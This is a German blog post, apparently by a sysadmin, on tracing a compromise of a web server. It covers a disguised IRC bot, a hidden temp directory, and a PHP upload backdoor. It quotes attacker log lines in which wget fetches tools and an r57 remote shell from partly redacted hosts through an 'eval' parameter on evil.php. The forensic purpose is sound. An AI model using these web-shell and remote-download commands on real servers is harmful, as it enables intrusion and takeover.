Eines (noch nicht einmal kalten) Abends im Februar:

Stefan ist auf dem Weg durch die allabendlich zugeschickten Sysinfomails. Da fand sich doch in der Statusnachricht eines Winboard-Servers die Netstat-Zeile:

tcp 0 0 *:1666 *:* LISTEN 21853/r0nin

Also der Hinweis, dass da seelenruhig eine Backdoor auf dem Server vor sich hinlief.

Ich, gar nicht mehr so seelenruhig per SSH eingeloggt, war leider einmal zu schnell, der “kill -9 21853″ war schneller abgesetzt als der Gedanke an die Analyse des Prozesses. Mist. Also dann half wohl nur manuelle Forscherarbeit.

Hier der ausführliche Bericht zur Jagd auf die bösen Bit-Buben:

Den ersten Blick warf ich in /tmp. Nichts. Den zweiten dann in /var/tmp. Und da war schon die erste Unregelmäßigkeit:
www2:/var/tmp# ls -la
total 16
drwxrwxrwt 4 root root 4096 Feb 16 21:21 .
drwxr-xr-x 4 apache apache 4096 Feb 19 22:44 .
drwxr-xr-x 15 root root 4096 Feb 15 19:11 ..
drwxrwxrwt 2 root root 4096 Feb 1 02:29 vi.recover
Da hatte jemand unter der Maske des Webhäuptlings ein Verzeichnis “. ” angelegt.

Einmal hineingeschaut, fand sich dort ein “Tool” namens “linux”. Ein “lsof |grep linux” gab eine interessante Rückmeldung:
linux 8103 apache cwd DIR 8,2 4096 16761957 /var/tmp/. /.. /apache/apache
linux 8103 apache rtd DIR 8,2 4096 2 /
linux 8103 apache txt REG 8,2 250769 16762531 /var/tmp/. /.. /apache/apache/linux
[...]
linux 8103 apache 3u IPv6 549119 TCP *:www (LISTEN)

Da stritt sich das Teil also mit dem Apache um Port 80. Ein “ps -ef |grep 8103″ offenbarte die Kaschierung von “linux” in der Prozessliste:

apache 8103 1 0 Feb19 ? 00:00:00 [SYS]

Da “linux” (oder soll ich es “[SYS]” nennen?) zur Zeit keine weiteren Aktivitäten zu unternehmen schien, wurde der Prozess flugs abgeschossen, das lokalisierte Verzeichnis “/var/tmp/. ” zu Forensikzwecken woanders hin verschoben.

Hinter dem Prozess steckte das Tool “iroffer“, ein Programm, das Downloads über DCC im IRC erlaubt.

Nachdem der unerwünschte Server nun beseitigt war, ging ich zur weiteren Suche nach der Problemquelle zunächst an das Error.log des Webservers. Und ich wurde schnell fündig:

- -02:00:48- - http://coded.[*hust*].org/iro0.tar
=> `iro0.tar’
Resolving coded.[*hust*].org… 207.[*hust*].25
Connecting to coded.[*hust*].org[207.[*hust*].25]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 665,600 [application/x-tar]

0K ………. ………. ………. ………. ………. 7% 93.40 KB/s
[...]
650K 100% 0.00 B/s

02:00:52 (205.27 KB/s) - `iro0.tar’ saved [665600/665600]

make: *** [obj/iroffer_utilities.o] Hangup

sh: line 1: curl: command not found
chmod: cannot access `r0nin’: No such file or directory
sh: line 1: ./r0nin: No such file or directory
- -02:01:50- - http://gh0stcrew.[*hust*].org/r0nin
=> `r0nin’
Resolving gh0stcrew.[*hust*].org… 75.[*hust*].98
Connecting to gh0stcrew.[*hust*].org[75.[*hust*].98]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 19,258 [text/plain]

0K ………. …….. 100% 65.76 KB/s

02:01:51 (65.76 KB/s) - `r0nin’ saved [19258/19258]

Ein grep auf “wget” auf die access_log des Webservers verlief ähnlich erfolgreich:
[...]GET /attachments/evil.php?eval=wget%20linuz.[*hust*].org/r57.txt HTTP [...]
Also war schon einmal die eigentliche Lücke gefunden. Die evil.php konnte auch nur durch das Upload-Script der gehosteten Webapplikation an seinen Platz gekommen sein.

Die PHP-Datei selbst enthielt nichts anderes, als eine passthru()-Funktion, die es ermöglichte, über das Script Shell-Befehle unter den Rechten des Webservers abzusetzen.

Der durch den wget abgesetzte Download “r57.txt” enthielt eine Remoteshell, die mit einem folgenden “mv” in adm.php umbenannt worden war, und von dort aus für den bequemen Zugriff auf den Server durch eine mir sicher unsympathische Person sorgte.

Und so konnte dieser recht bequem seine Tools installieren und sich ruhig auf dem Server umsehen.

Nun, jetzt nicht mehr …

Den kleinen Hustenanfall, der mich zwischendurch beim Schreiben dieses Posts befiel, bitte ich zu entschuldigen *g*